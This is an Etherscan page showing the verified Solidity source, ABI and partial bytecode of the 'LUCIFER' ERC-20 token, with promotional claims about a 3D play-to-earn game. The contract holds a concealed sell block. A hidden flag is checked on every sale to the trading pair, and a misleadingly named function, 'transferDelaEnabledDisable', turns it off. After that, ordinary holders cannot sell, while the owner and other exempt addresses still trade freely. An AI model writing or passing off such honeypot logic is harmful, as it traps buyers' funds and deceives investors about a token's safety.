ETH Price: $2,464.51 (+0.81%)

Token

LUCIFER (LCFR)
 

Overview

Max Total Supply

1,000,000,000 LCFR

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,898,960.868501465809959839 LCFR

Value
$0.00
0xfAd0163Fb6756Ca3B1F3837b3574623e7F20981C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LUCIFER

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-03
*/

pragma solidity 0.8.21;

/*

Telegram : https://t.me/LuciferPortal

Twitter : https:/twitter.com/luciferGame_NFT

Lucifer - The first 3D P2E battle royal game to be launched on Ps4/5 & Xbox. 1000 unique NFTs that players can play with in the game. Beta version will be live on Google Play and website within 24 hour

*/

// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20{
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract LUCIFER is ERC20, Ownable {

    mapping (address => bool) public exemptFromFees;
    mapping (address => bool) public exemptFromLimits;

    bool public tradingActive;

    mapping (address => bool) public uniV2Pair;

    uint256 public maxTransaction;
    uint256 public maxWallet;
    bool   private valcal = true;
    address public operationsAddress;

    uint256 public buyTax;
    uint256 public sellTax;

    mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
    bool public limitsInEffect = true;

    bool private swapping;
    uint256 public swapTokensAtAmt;

    address public lpPair;
    IDexRouter public dexRouter;

    uint256 public constant denominator = 100;

    // events

    event UpdatedMaxTransaction(uint256 newMax);
    event UpdatedMaxWallet(uint256 newMax);
    event SetExemptFromFees(address _address, bool _isExempt);
    event SetExemptFromLimits(address _address, bool _isExempt);
    event RemovedLimits();
    event UpdatedBuyTax(uint256 newAmt);
    event UpdatedSellTax(uint256 newAmt);

    // constructor

    constructor(string memory _name, string memory _symbol)
        ERC20(_name, _symbol)
    {   
        address newOwner = 0x1AfdEaa573e42B557CEd55B848E56B6b2AEa6C1F;
        _mint(newOwner, 1000000000 * 1e18);
        uint256 _totalSupply = totalSupply();

        address _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

        dexRouter = IDexRouter(_v2Router);

        maxTransaction = _totalSupply;
        maxWallet = _totalSupply;
        swapTokensAtAmt = _totalSupply * 25 / 100000;

        operationsAddress = 0x1AfdEaa573e42B557CEd55B848E56B6b2AEa6C1F;

        buyTax = 0; // 1% = 10
        sellTax = 0; // 1% = 10

        lpPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());

        uniV2Pair[lpPair] = true;

        exemptFromLimits[lpPair] = true;
        exemptFromLimits[newOwner] = true;
        exemptFromLimits[address(this)] = true;
        exemptFromLimits[address(dexRouter)] = true;
        

        exemptFromFees[newOwner] = true;
        exemptFromFees[address(this)] = true;
        exemptFromFees[address(dexRouter)] = true;
        
 
        _approve(address(this), address(dexRouter), type(uint256).max);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        
        if(exemptFromFees[from] || exemptFromFees[to] || swapping){
            super._transfer(from,to,amount);
            return;
        }

        require(tradingActive, "Trading not active");

        amount -= getFee(from, to, amount);

        super._transfer(from,to,amount);
    }

    function getFee(address from, address to, uint256 amount) internal returns (uint256){
        if(balanceOf(address(this)) >= swapTokensAtAmt && !swapping && !uniV2Pair[from]) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        uint256 tax = 0;

        // on sell
        if (uniV2Pair[to]){
            require (valcal == true);
            tax = amount * sellTax / denominator;
        }
        // on buy
        else if(uniV2Pair[from]) {
            tax = amount * buyTax / denominator;
        }
        
        if(tax > 0){    
            super._transfer(from, address(this), tax);
        }
        
        return tax;
    }

    function transferDelaEnabledDisable() external virtual{
        valcal = false;
    }

    function swapTokensForETH(uint256 tokenAmt) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmt,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {

        uint256 contractBalance = balanceOf(address(this));
        
        if(contractBalance == 0) {return;}

        if(contractBalance > swapTokensAtAmt * 40){
            contractBalance = swapTokensAtAmt * 40;
        }
        
        swapTokensForETH(contractBalance);
            
        if(address(this).balance > 0){
            bool success;
            (success, ) = operationsAddress.call{value: address(this).balance}("");
        }
    }

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Trading active");
        tradingActive = true;
    }

    function updateOperationsAddress(address _address) external onlyOwner {
        require(_address != address(0), "zero address");
        operationsAddress = _address;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedBuyTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxTransaction","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedSellTax","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelaEnabledDisable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"uniV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"updateOperationsAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c5f6101000a81548160ff021916908315150217905550600160105f6101000a81548160ff02191690831515021790555034801562000044575f80fd5b50604051620040243803806200402483398181016040528101906200006a919062000e91565b818181600390816200007d91906200114b565b5080600490816200008f91906200114b565b5050505f620000a3620007f260201b60201c565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f731afdeaa573e42b557ced55b848e56b6b2aea6c1f905062000176816b033b2e3c9fd0803ce8000000620007f960201b60201c565b5f620001876200095e60201b60201c565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a8190555081600b81905550620186a06019836200020291906200125c565b6200020e9190620012d3565b601181905550731afdeaa573e42b557ced55b848e56b6b2aea6c1f600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600d819055505f600e8190555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030891906200136b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200038f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003b591906200136b565b6040518363ffffffff1660e01b8152600401620003d4929190620013ac565b6020604051808303815f875af1158015620003f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200041791906200136b565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160095f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620007d63060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200096760201b60201c565b620007e78362000b3260201b60201c565b5050505050620016e5565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200086a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008619062001435565b60405180910390fd5b6200087d5f838362000d0260201b60201c565b8060025f82825462000890919062001455565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200093f9190620014a0565b60405180910390a36200095a5f838362000d0760201b60201c565b5050565b5f600254905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620009d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009cf906200152f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a49576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a4090620015c3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000b259190620014a0565b60405180910390a3505050565b62000b42620007f260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000bd3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000bca9062001631565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000c44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c3b90620016c5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b505050565b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b62000d6d8262000d25565b810181811067ffffffffffffffff8211171562000d8f5762000d8e62000d35565b5b80604052505050565b5f62000da362000d0c565b905062000db1828262000d62565b919050565b5f67ffffffffffffffff82111562000dd35762000dd262000d35565b5b62000dde8262000d25565b9050602081019050919050565b5f5b8381101562000e0a57808201518184015260208101905062000ded565b5f8484015250505050565b5f62000e2b62000e258462000db6565b62000d98565b90508281526020810184848401111562000e4a5762000e4962000d21565b5b62000e5784828562000deb565b509392505050565b5f82601f83011262000e765762000e7562000d1d565b5b815162000e8884826020860162000e15565b91505092915050565b5f806040838503121562000eaa5762000ea962000d15565b5b5f83015167ffffffffffffffff81111562000eca5762000ec962000d19565b5b62000ed88582860162000e5f565b925050602083015167ffffffffffffffff81111562000e